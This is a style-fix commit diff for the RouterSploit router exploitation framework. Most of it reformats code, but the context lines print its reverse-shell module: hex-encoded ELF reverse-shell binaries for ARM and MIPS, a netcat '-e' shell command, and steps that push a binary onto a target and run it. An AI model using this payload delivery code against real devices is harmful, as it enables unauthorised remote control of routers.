Commit 4e556a3f by fwkz

Fixing flake8 violations within core

parent 34297343
import socket
import struct
import os
import telnetlib
import SimpleHTTPServer, BaseHTTPServer
import time
import SimpleHTTPServer
import BaseHTTPServer
import threading
from base64 import b64decode
from routersploit.utils import (
print_info,
......@@ -48,16 +45,18 @@ def shell(exploit, architecture="", method="", **params):
class HttpRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET (self):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type','text/html')
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(self.server.content)
self.server.stop = True
def log_message(self, format, *args):
return
class HttpServer(BaseHTTPServer.HTTPServer):
def serve_forever(self, content):
self.stop = False
......@@ -65,6 +64,7 @@ class HttpServer(BaseHTTPServer.HTTPServer):
while not self.stop:
self.handle_request()
class reverse_shell(object):
arm = (
# elf binary
......@@ -154,7 +154,8 @@ class reverse_shell(object):
"\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x5f\x5f"
"\x00\x5f\x5f\x62\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f"
"\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x65\x64\x61"
"\x74\x61\x00\x5f\x65\x6e\x64\x00")
"\x74\x61\x00\x5f\x65\x6e\x64\x00"
)
mipsel = (
# elf binary
......@@ -241,7 +242,8 @@ class reverse_shell(object):
"\x10\x00\xf1\xff\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72"
"\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f"
"\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73"
"\x73\x00")
"\x73\x00"
)
mips = (
# elf binary
......@@ -328,7 +330,8 @@ class reverse_shell(object):
"\x10\x00\xff\xf1\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72"
"\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f"
"\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73"
"\x73\x00")
"\x73\x00"
)
exploit = None
arch = None
......@@ -381,7 +384,7 @@ class reverse_shell(object):
self.generate_binary(self.lhost, self.lport)
# run http server
thread = threading.Thread(target = self.http_server, args=(self.lhost, self.lport))
thread = threading.Thread(target=self.http_server, args=(self.lhost, self.lport))
thread.start()
# wget binary
......@@ -418,8 +421,8 @@ class reverse_shell(object):
current = i * 30
print_status("Transferring {}/{} bytes".format(current, len(self.revshell)))
block = self.revshell[current:current+30].encode('hex')
block = "\\x" + "\\x".join(a+b for a,b in zip(block[::2], block[1::2]))
block = self.revshell[current:current + 30].encode('hex')
block = "\\x" + "\\x".join(a + b for a, b in zip(block[::2], block[1::2]))
cmd = '$(echo -n -e "{}" >> {})'.format(block, path)
self.exploit.execute(cmd)
......@@ -444,10 +447,7 @@ class reverse_shell(object):
def netcat(self, binary, shell):
# run reverse shell through netcat
sock = self.listen(self.lhost, self.lport)
cmd = "{} {} {} -e {}".format(binary,
self.lhost,
self.lport,
shell)
cmd = "{} {} {} -e {}".format(binary, self.lhost, self.lport, shell)
self.exploit.execute(cmd)
......@@ -456,11 +456,9 @@ class reverse_shell(object):
def execute_binary(self, location, binary_name):
path = "{}/{}".format(location, binary_name)
cmd = "chmod +x {}; {}; rm {}".format(path,
path,
path)
cmd = "chmod +x {}; {}; rm {}".format(path, path, path)
thread = threading.Thread(target = self.exploit.execute, args=(cmd,))
thread = threading.Thread(target=self.exploit.execute, args=(cmd,))
thread.start()
def listen(self, lhost, lport):
......
import unittest
try:
import unittest.mock as mock
except ImportError:
import mock
from routersploit.test import RoutersploitTestCase
from routersploit.exploits import Exploit, Option, GLOBAL_OPTS
......@@ -86,4 +81,3 @@ class OptionTest(RoutersploitTestCase):
if __name__ == '__main__':
unittest.main()
......@@ -382,7 +382,8 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
mock.call('authors_desc'),
mock.call('\nReferences:'),
mock.call('references_desc'),
mock.call()]
mock.call()
]
)
@mock.patch('__builtin__.print')
......@@ -395,8 +396,7 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
self.interpreter._show_info()
self.assertEqual(
mock_print.mock_calls,
[
mock.call()]
[mock.call()]
)
@mock.patch('__builtin__.print')
......
import unittest
import socket
try:
import unittest.mock as mock
......
......@@ -148,7 +148,8 @@ def stop_after(space_number):
class DummyFile(object):
""" Mocking file object. Optimalization for the "mute" decorator. """
def write(self, x): pass
def write(self, x):
pass
def mute(fn):
......@@ -390,7 +391,7 @@ def pprint_dict_in_order(dictionary, order=None):
prettyprint(rest_keys, dictionary[rest_keys])
def random_text(length, alph=string.ascii_letters+string.digits):
def random_text(length, alph=string.ascii_letters + string.digits):
""" Random text generator. NOT crypto safe.
Generates random text with specified length and alphabet.
......@@ -460,25 +461,20 @@ def posix_shell(chan):
while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
if chan in r:
try:
x = unicode(chan.recv(1024))
if(len(x) == 0):
if len(x) == 0:
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if(sys.stdin in r):
if sys.stdin in r:
x = sys.stdin.read(1)
if(len(x) == 0):
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
......@@ -532,4 +528,3 @@ def tokenize(token_specification, text):
else:
column = mo.start() - line_start
yield Token(kind, value, line_num, column, mo)
......@@ -4,4 +4,4 @@ import pkg_resources
defaults = 'file://' + pkg_resources.resource_filename(__name__, 'defaults.txt')
passwords = 'file://' + pkg_resources.resource_filename(__name__, 'passwords.txt')
usernames = 'file://' + pkg_resources.resource_filename(__name__, 'usernames.txt')
snmp = 'file://'+ pkg_resources.resource_filename(__name__, 'snmp.txt')
snmp = 'file://' + pkg_resources.resource_filename(__name__, 'snmp.txt')
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment